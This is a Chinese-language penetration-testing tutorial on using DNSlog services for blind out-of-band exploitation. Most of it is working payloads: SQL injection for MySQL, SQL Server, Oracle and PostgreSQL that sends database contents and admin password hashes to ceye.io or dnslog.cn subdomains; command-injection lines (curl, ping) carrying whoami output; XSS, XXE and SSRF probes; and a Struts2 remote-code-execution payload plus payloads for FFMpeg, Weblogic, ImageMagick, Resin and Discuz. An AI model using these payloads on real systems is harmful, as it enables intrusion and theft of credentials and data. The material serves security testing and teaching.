DNSlog在渗透测试中的应用

简介: DNSlog在渗透测试中的应用

预备知识


dns(域名解析):


域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。


域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。


互联网中的地址是数字的IP地址,域名解析的作用主要就是为了便于记忆。(摘自百度百科)


dns服务器的端口是53。


DNS原理


我们输入域名之后 我们的本地域名服务器会把在自身服务器里面查询是否存在ip地址 如果没有则发送到根域名服务器 如果根域名服务器里面有对应的记录则返回 如果没有则告诉本地域名服务器去向顶级域名服务器查找。

dns在解析的时候会留下记录。


简单来说:

当dns服务器是我们自己的时,我们就可以通过查看日志来查询一些信息。

UNC

介绍一下UNC

什么是UNC路径?

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。

UNC路径就是类似\softer这样的形式的网络路径。它符合 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。

目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。

例如把自己电脑的文件共享,你会获得如下路径,这就是UNC路径

//iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt

用处

  • sql注入
  • 命令执行
  • XSS盲打
  • SSRF盲打
  • XXE盲打
  • 其他

SQL注入

sqlmap可以使用--dns-domain参数实现自动化dns注入

条件

secure_file_priv为空,null或者指定路径都不行。在5.7.6之后默认为null,经测试phpstudy (5.5.53)和 mamp(5.6.35)默认值都是为null,可能是现在集成环境也意识到这些安全问题,做出了更改
数据库要是windows系统。因为语句就是\\servername\sharename,使用的是windows的UNC,去请求共享的文件夹/文件服务器。构造的语句最后会是\\查询结果.xxx.ceye.io\\abc,即网络共享路径。
文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节。

原理

使用函数load_file(),读取数据通过dnslog外带出去,但是文件大小要小于max_allowed_packet()(限制server接收的数据包大小,默认为1MB),如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

利用的是windows的UNC,访问网络共享文件的特性。

适用于:

可用于联合(union select...),布尔/时间( and (select...) if((select .... ),1,1) ) 的无回显盲注,命令盲注(%os%.xxx.ceye.io `whoami`.xxx.ceye.io)

实测心得

路径为\\\\查询结果.xxx.ceye.io\\abc
另外关于路径,可能第一次解析到了,第二次在执行相同语句就会不访问,所以可以更换路径的方式,让其再次访问,来外带数据。可能是本地测试的原因,直接在控制台执行的,每句都在一个会话中。ceye不会出现这个问题,dnslog会,可能测试时我挂代理原因。
测试的时候dnslog感觉不如ceye好用不知道是不是挂着代理的问题。
使用dnslog测试时,相同语句第二次执行就不请求dnslog了,不知道是不是因为在控制台用一个会话执行的原因,ceye到没有这个问题。

注意点

dns服务器无法接收符号,当查询的数据存在符号时需要编码,这里用==hex()==编码(ord()只能编码一个字符)
limit 1,1  m,n 这种会用到,或者general_concat放到一行。
 \\\\    widnows中用共享文件的时候就会用到这种网络地址的形式,而且转义问题所以前面4个\变成了2个,后面2个变成了1个,最终结果见上一行。

判断是否可用

show variables like '%secure%'  # 查看是否是null 在5.7.6之后默认为null,经测试phpstudy (5.5.53)和 mamp(5.6.35)默认值都是为null,可能是现在集成环境也意识到这些安全问题,做出了更改
修改:在my.ini 中修改或添加secure_file_priv=空
select host,user,file_priv from mysql.user # 查看当前用户是否有file_priv权限,即load_file()函数是否可用。
SHOW VARIABLES LIKE 'max_allowed_packet';  # 检查max_allowed_packet 看最大能读取最大的文件大小

SQL盲注语句

select load_file('C:\\windows\win.ini')
select load_file(concat('\\\\',(select database()),'.dsgeh.dnslog.cn\\1.txt'))
1' and if((select load_file(concat('\\\\',(select version()),'.6dz4ut.ceye.io\\abc'))),1,1) 
#查询数据库名
联合 union select load_file(concat('\\\\',(select database()),'.5djib5.dnslog.cn/1.txt'))
布尔:id=1 and (select load_file(concat('\\\\',(select database()),'.6dz4ut.ceye.io\\1.txt')))  
#查询表名
联合:select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.6dz4ut.ceye.io/1.txt'))
布尔:id=1 and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.6dz4ut.ceye.io/1.txt')))
#查询列名
联合:select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='test' limit 0,1),'.xxxx.ceye.io\\aaa'));
布尔:id=1 and (select load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1/2,1/2),'.6dz4ut.ceye.io\\1.txt'))) 注:1/2 替换查询 返回结果不一样
#查询数据
注意:dns服务器无法接收符号,当查询的数据存在符号时需要编码,这里用hex()编码(ord()只能编码一个字符)
联合:select load_file(concat('\\\\',(select username from test limit 0,1),'.xxxx.ceye.io\\aaa'));
select load_file(concat('\\\\',(select hex(username) from test limit 2,1),'.xxxx.ceye.io\\aaa'));
布尔:id=1 and (select load_file(concat('\\\\',(select hex(password) from admin limit 0,1),'.6dz4ut.ceye.io\\1.txt')))

其他SQL注入

  • 1.SQL Server
CopyDECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.b182oj.ceye.io';
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');
  • 2.Oracle
CopySELECT UTL_INADDR.GET_HOST_ADDRESS('b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.b182oj.ceye.io',80) FROM DUAL;
  • 3.MySQL
CopySELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.b182oj.ceye.io\\abc'));
  • 4.PostgreSQL
DROP TABLE IF EXISTS table_output;
   CREATE TABLE table_output(content text);
   CREATE OR REPLACE FUNCTION temp_function()
   RETURNS VOID AS $$
   DECLARE exec_cmd TEXT;
   DECLARE query_result TEXT;
BEGIN
   SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
   exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.s.livesina.com\\\\foobar.txt\'';
   EXECUTE exec_cmd;
   END;
   $$ LANGUAGE plpgsql SECURITY DEFINER;
   SELECT temp_function();

命令执行盲打

windows 用%variable%

linux 用`variable` 反引号

使用dvwa靶场的命令注入模块实验,假设该注入点无回显

查询到了我们输入的变量:

windows常用变量:

//变量                 类型       描述
//%ALLUSERSPROFILE%   本地       返回“所有用户”配置文件的位置。
//%APPDATA%           本地       返回默认情况下应用程序存储数据的位置。
//%CD%                                                        本地       返回当前目录字符串。
//%CMDCMDLINE%        本地       返回用来启动当前的 Cmd.exe 的准确命令行。
//%CMDEXTVERSION%     系统       返回当前的“命令处理程序扩展”的版本号。
//%COMPUTERNAME%      系统       返回计算机的名称。
//%COMSPEC%           系统       返回命令行解释器可执行程序的准确路径。
//%DATE%              系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
//%ERRORLEVEL%        系统       返回上一条命令的错误代码。通常用非零值表示错误。
//%HOMEDRIVE%         系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMEPATH%          系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMESHARE%         系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%LOGONSERVER%       本地       返回验证当前登录会话的域控制器的名称。
//%NUMBER_OF_PROCESSORS%         系统      指定安装在计算机上的处理器的数目。
//%OS%                           系统      返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
//%PATH%                         系统       指定可执行文件的搜索路径。
//%PATHEXT%                      系统       返回操作系统认为可执行的文件扩展名的列表。
//%PROCESSOR_ARCHITECTURE%       系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
//%PROCESSOR_IDENTFIER%          系统       返回处理器说明。
//%PROCESSOR_LEVEL%              系统       返回计算机上安装的处理器的型号。
//%PROCESSOR_REVISION%           系统       返回处理器的版本号。
//%PROMPT%                       本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
//%RANDOM%                       系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
//%SYSTEMDRIVE%                  系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
//%SYSTEMROOT%                   系统       返回 Windows server operating system 根目录的位置。
//%TEMP%和%TMP%                  系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
//%TIME%                         系统       返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
//%USERDOMAIN%                   本地       返回包含用户帐户的域的名称。
//%USERNAME%                     本地       返回当前登录的用户的名称。
//%USERPROFILE%                  本地       返回当前用户的配置文件的位置。
//%WINDIR%                       系统       返回操作系统目录的位置。

linux常用变量

ping `whoami`.xxxx.ceye.io 等等
curl http://0ox095.ceye.io/`whoami`

xss盲打

注:这种方式可以绕过csp

通过盲打,当出发这浏览器访问预设置的链接地址,如果盲打成功,会在我们DNS服务器收到解析请求。

src  href iframe onerror
<img src=http://xss.xxxx.ceye.io/aaa>

使用pikachu的xss盲打模块

收到请求说明触发了插入的js代码。

SSRF(无回显)盲打

将url换成我们的DNS服务器,通过查看DNFlog平台日志看是否有服务器ip判断是否有SSRF漏洞

XXE(无回显)盲打

使用参数实体,引用外部实体文件(目的地址是我们DNS服务器),二级或三级域名写成 我们想要的信息。

#以下是测试是否存在xxe
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.fdz5j5.ceye.io/">
%remote;]>
<root></root>

其他

Struts2

xx.action?redirect:http://b182oj.ceye.io/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

FFMpeg

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://b182oj.ceye.io
#EXT-X-ENDLIST

Weblogic

xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search

ImageMagick

push graphic-context
viewbox 0 0 640 480
fill 'url(http://b182oj.ceye.io)'
pop graphic-context

Resin

xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://b182oj.ceye.io/ssrf

Discuz

http://xxx.xxxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo


相关文章
|
4天前
|
测试技术 数据安全/隐私保护
深入理解与应用软件测试中的边界值分析法
【4月更文挑战第23天】在软件测试的诸多技术中,边界值分析法因其简洁性和高效性而备受青睐。本文旨在探讨边界值分析法的核心原理及其在实际测试场景中的应用。通过对边界条件进行系统的识别、分类和测试,该方法能够有效地发现软件缺陷。我们将详细讨论如何确定边界值,设计测试用例,以及如何处理复杂数据类型的边界情况。此外,文章还将展示通过案例研究来验证边界值分析法在提升测试覆盖率和发现潜在错误方面的实际效益。
|
1月前
|
SQL 安全 测试技术
【软件设计师备考 专题 】测试要求说明书的编写和应用
【软件设计师备考 专题 】测试要求说明书的编写和应用
58 0
|
1月前
|
Web App开发 前端开发 测试技术
探索自动化测试工具:Selenium的威力与应用
探索自动化测试工具:Selenium的威力与应用
探索自动化测试工具:Selenium的威力与应用
|
1月前
|
安全 测试技术
现代软件测试中的自动化技术应用及挑战
在当今数字化时代,软件测试的重要性日益凸显。本文探讨了现代软件测试中自动化技术的应用现状和挑战,分析了自动化测试在提高效率、降低成本、增强可靠性等方面的优势,同时也提出了自动化测试所面临的挑战和解决方案。
|
1月前
|
机器学习/深度学习 数据采集 人工智能
探索AI在软件测试中的应用与挑战
【2月更文挑战第25天】 随着人工智能(AI)技术的迅猛发展,其在软件测试领域的应用逐渐深入。AI不仅改变了传统测试流程,提高了测试效率和质量,也引入了新的挑战。本文将详细探讨AI在软件测试中的具体应用,包括智能化测试用例生成、缺陷预测、自动化测试执行等,并分析当前面临的主要挑战,如数据质量、模型泛化能力和工具集成等问题。通过实例分析和研究展望,本文旨在为软件测试专业人士提供一个关于AI技术融合的全面视角。
|
1月前
|
机器学习/深度学习 数据采集 人工智能
探索AI在软件测试中的应用和优势
【2月更文挑战第22天】 随着科技的不断发展,人工智能(AI)在各个领域的应用越来越广泛。本文主要探讨了AI在软件测试领域的应用及其带来的优势。文章首先介绍了AI技术的基本概念,然后详细分析了AI在软件测试中的具体应用,包括自动化测试、智能缺陷检测和预测等方面。最后,文章总结了AI在软件测试领域的优势,如提高测试效率、降低人力成本、提高测试质量等,并展望了AI在软件测试领域的未来发展趋势。
|
2天前
|
Java 测试技术 持续交付
深入理解与应用Selenium WebDriver进行自动化测试
【4月更文挑战第25天】 在现代软件开发过程中,自动化测试已成为确保产品质量和加速市场发布的关键步骤。Selenium WebDriver作为业界广泛采用的自动化测试工具之一,提供了一种灵活且高效的方式来模拟用户与Web应用程序交互。本文将探讨Selenium WebDriver的核心概念、架构以及实际应用中的技巧和最佳实践。通过深入分析其工作原理及常见问题解决方案,旨在帮助测试工程师提升测试效率,确保测试结果的准确性和可靠性。
|
4天前
|
人工智能 监控 数据处理
【AI大模型应用开发】【LangSmith: 生产级AI应用维护平台】1. 快速上手数据集与测试评估过程
【AI大模型应用开发】【LangSmith: 生产级AI应用维护平台】1. 快速上手数据集与测试评估过程
18 0
|
28天前
|
Web App开发 Java 测试技术
深入理解与应用软件自动化测试工具Selenium
随着软件开发的快速发展,软件测试在保证产品质量方面发挥着越来越重要的作用。其中,自动化测试以其效率高、成本低的特点受到了广大开发者的欢迎。本文主要介绍了自动化测试工具Selenium的基本概念、原理以及在实际开发中的应用,旨在帮助读者更好地理解和使用Selenium进行高效的自动化测试。
22 4
|
1月前
|
设计模式 敏捷开发 监控
深入理解与应用软件自动化测试框架
在快速迭代的软件开发过程中,自动化测试已成为确保产品质量和加快交付速度的关键因素。本文将详细探讨自动化测试框架的核心原理、设计模式及其在实际项目中的应用。我们将分析几种流行的自动化测试工具,如Selenium、Appium和JUnit,并讨论它们如何集成以形成强大的测试解决方案。文章还将展示通过自定义框架来满足特定测试需求的实例,以及如何通过持续集成和持续部署(CI/CD)流程优化测试实践。